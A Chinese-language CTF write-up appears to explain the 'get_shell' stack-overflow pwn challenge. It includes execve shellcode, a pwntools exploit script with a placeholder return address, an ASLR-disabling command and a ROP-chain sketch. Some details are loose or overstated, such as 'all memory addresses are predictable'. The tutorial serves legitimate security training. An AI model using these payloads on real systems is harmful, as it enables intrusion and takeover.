1. 项目概述:理解PWN挑战的本质
"攻防世界 pwn题get_shell"这个标题描述的是网络安全竞赛中经典的二进制漏洞利用场景。作为CTF(Capture The Flag)比赛的核心题型之一,PWN类题目主要考察选手对程序内存漏洞的识别和利用能力。get_shell作为入门级题目,其最终目标是让攻击者获取目标系统的shell控制权。
这类题目通常提供一个存在漏洞的二进制程序,选手需要通过逆向分析找到漏洞点,构造特定的攻击载荷(payload),最终实现远程代码执行。在真实的网络安全领域,这种技术对应着缓冲区溢出、ROP链构造等底层攻击手法,是渗透测试工程师必须掌握的核心技能。
2. 环境准备与工具链搭建
2.1 基础环境配置
进行PWN题解需要准备Linux环境(推荐Ubuntu 18.04/20.04),并安装以下工具链:
- gdb with peda插件:增强版调试器
- pwntools:Python编写的漏洞利用框架
- checksec:检测程序安全机制的工具
- objdump:反汇编工具
- ROPgadget:自动化ROP链构造工具
安装命令示例:
sudo apt update sudo apt install -y python3 python3-pip gdb git pip3 install pwntools git clone https://github.com/longld/peda.git ~/peda echo "source ~/peda/peda.py" >> ~/.gdbinit2.2 题目文件分析
首先使用checksec检查程序保护机制:
checksec get_shell典型输出可能显示:
Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x400000)这种保护状态(无栈保护、NX禁用)意味着可以直接在栈上执行shellcode,是理想的入门练习环境。
3. 漏洞分析与利用技术详解
3.1 逆向工程与漏洞定位
使用objdump反汇编查看关键函数:
objdump -d get_shell -M intel在main函数中通常会看到危险的函数调用,例如:
lea rax,[rbp-0x20] mov edx,0x100 mov rsi,rax mov edi,0x0 call 0x400500 <read@plt>这段汇编显示程序使用read函数向栈缓冲区(rbp-0x20)读取最多0x100字节数据,而缓冲区大小可能只有32字节(0x20),存在明显的栈溢出漏洞。
3.2 Shellcode构造原理
经典的Linux x64 shellcode如下:
shellcode = b"\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05"这段机器码对应的功能是:
- 清空RSI寄存器(xor rsi, rsi)
- 将"/bin//sh"字符串压栈
- 设置RDI指向字符串地址
- 设置RAX为execve系统调用号(59)
- 执行syscall
3.3 完整攻击脚本编写
使用pwntools构建攻击载荷:
from pwn import * context(arch='amd64', os='linux') # 启动进程或连接远程 p = process('./get_shell') # p = remote('靶机IP', 端口) # 计算偏移量 offset = 32 + 8 # 缓冲区大小 + RBP保存值 # 构造payload payload = flat( b'A' * offset, 0xdeadbeef, # 覆盖返回地址(需替换为实际地址) shellcode ) p.send(payload) p.interactive()4. 实战调试与问题排查
4.1 动态调试技巧
在gdb中关键调试命令:
gdb ./get_shell b *main+50 # 在read函数调用前断点 r < <(python3 -c "print('A'*40 + 'BBBBBBBB')") x/30xg $rsp # 查看栈内存通过观察程序崩溃时的RIP值,可以精确定位返回地址的覆盖位置。例如当RIP变为0x4242424242424242('BBBBBBBB'的ASCII表示)时,说明偏移量计算正确。
4.2 常见问题解决方案
段错误但未获得shell:
- 检查shellcode是否被截断或损坏
- 确认返回地址指向有效内存区域
- 使用cyclic工具精确计算偏移:
cyclic 100 cyclic -l 0x6161616b
ASLR导致地址变化:
- 关闭ASLR测试:
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space - 或使用信息泄露漏洞获取真实地址
- 关闭ASLR测试:
系统调用失败:
- 检查shellcode是否适配当前系统架构
- 使用strace跟踪系统调用过程
5. 安全防护与进阶思考
5.1 漏洞防御方案
作为开发者,应该:
- 使用安全的字符串处理函数(strncpy代替strcpy)
- 启用所有保护机制(Canary, NX, PIE等)
- 进行静态代码分析和模糊测试
编译安全选项示例:
gcc -fstack-protector-strong -pie -fPIE -D_FORTIFY_SOURCE=2 -O2 -o safe_program program.c5.2 技术演进方向
现代PWN技术已经发展到需要绕过各种保护:
- ROP(Return-Oriented Programming)
- JOP(Jump-Oriented Programming)
- 利用ELF内存布局特性
- 面向堆的漏洞利用(Heap Feng Shui)
例如当NX启用时,就需要构造ROP链来调用系统函数:
pop_rdi = 0x4007b3 # pop rdi; ret binsh = 0x400000 + 0x1234 # 字符串地址 system = 0x400500 # system@plt rop_chain = flat( pop_rdi, binsh, system )6. 学习资源与训练建议
6.1 推荐训练平台
- 攻防世界(CTFHub)
- Pwnable.kr
- OverTheWire
- HackTheBox
6.2 系统学习路径
- 掌握计算机体系结构(寄存器、内存管理)
- 学习汇编语言(x86/x64)
- 理解调用约定(cdecl, fastcall等)
- 研究Linux二进制格式(ELF结构)
- 练习GDB高级调试技巧
我个人的训练心得是:每天坚持分析1个真实漏洞(CVE),同时用3小时进行靶机练习。初期可以从简单的栈溢出开始,逐步过渡到需要组合多种技术的复杂漏洞利用。记住所有内存地址都是可以预测的,关键在于对程序行为的精确控制。